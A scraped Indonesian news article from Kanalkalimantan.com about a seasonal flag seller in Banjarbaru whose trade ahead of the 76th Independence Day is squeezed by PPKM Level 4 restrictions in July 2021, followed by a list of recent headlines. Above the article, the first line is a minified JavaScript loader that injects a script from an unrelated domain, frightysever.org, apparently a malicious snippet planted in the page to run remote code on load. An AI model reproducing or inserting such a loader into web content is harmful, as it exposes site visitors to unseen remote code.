(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Nasib Pedagang Bendera 17-an di Banjarbaru, Jualan Musiman Terhimpit PPKM Level 4


KANALKALIMANTAN.COM, BANJARBARU – Perayaan 17-an tidak seramai sebelum pandemi Covid-19 melanda Indonesia, semua kegiatan dibatasi karena tidak boleh ada kerumunan.

Jelang peringatan Hari Ulang Tahun (HUT) ke-76 RI, seorang penjual bendera dan aksesoris 17-an masih mencari nafkah di tengah pandemi.

Menggelar barang dagangan di pinggir jalan menjual barang dagangan dan berharap ada pembeli yang berminat untuk membeli daganga.

Adalah Deni (46), seorang penjual bendera di jalan A Yani Km 32 Kota Banjarbaru tepat di depan Balai Bahasa Kalimantan Selatan.

 

 

Baca juga: Jelang PPKM Level 4, Pusat Perbelanjaan di Banjarbaru Masih Beroperasi Normal  

Saat ditemui Kanalkalimantan.com, Minggu (25/7/2021) siang, laki-laki ini mengaku keseharian berjualan bendera musiman.

“Saya berjualan bendera ini hanya musiman saja, menjelang peringatan Hari Kemerdekaan 17 Agustus,” ujarnya.

Ia mengatakan jelang perayaan Hari Kemerdekaan, ia mulai berjualan sudah empat hari. Mulai berjualan dari pukul 08:00 Wita sampai dengan pukul 17:00 Wita.

Deni (46), seorang penjual bendera di jalan A Yani Km 32 Kota Banjarbaru tepat di depan Balai Bahasa Kalimantan Selatan. Foto: shintia

“Dalam empat hari ini saya berjualan masih belum ada yang laku, tapi saya tidak putus asa karena saya yakin bahwa rezeki sudah diatur oleh Allah dan tidak akan kemana,” ucap Deni penuh keyakinan.

Baca juga: Kabar PPKM Level 4 Dua Kota di Kalsel, Bikin Harga Masker Perlahan Naik

Harga bendera yang dijualnya pun bervariasi tergantung motif, kualitas dan ukuran. Untuk harga termurah ia membandrol sekitar Rp15.000-30.000 per buah. Bendera ukuran besar mulai harga Rp250.000 sampai dengan harga Rp350.000 per buah semua harga tergantung motif, kualitas dan desain.

Penjualan bendera musiman di jalan A Yani Km 32 Kota Banjarbaru tepat di depan Balai Bahasa Kalimantan Selatan. Foto: shintia

Terkait rencana PPKM level 4 yang akan dimulai pada Senin mendatang di Kota Banjarbaru larangan pedagang kaki lima berjualan di pinggir jalan, pedagang bendera ini pasrah.

Ia hanya bisa mengikuti dan mentaati aturan yang sudah di atur oleh pemerintah.

“Kalau memang nantinya dilarang untuk berjualan di pinggir jalan, harus ada antisipasi dari pemerintah terkait, karena ini berkaitan dengan ekonomi, seperti apa baiknya, kalau tidak jualan tidak ada pemasukan sama sekali,” ucapnya. (kanalkalimantan.com/shintia)

Reporter : shintia
Editor : bie

 

 


Al Ghifari

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

4 jam ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

4 jam ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

11 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

11 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

15 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

15 jam ago

This website uses cookies.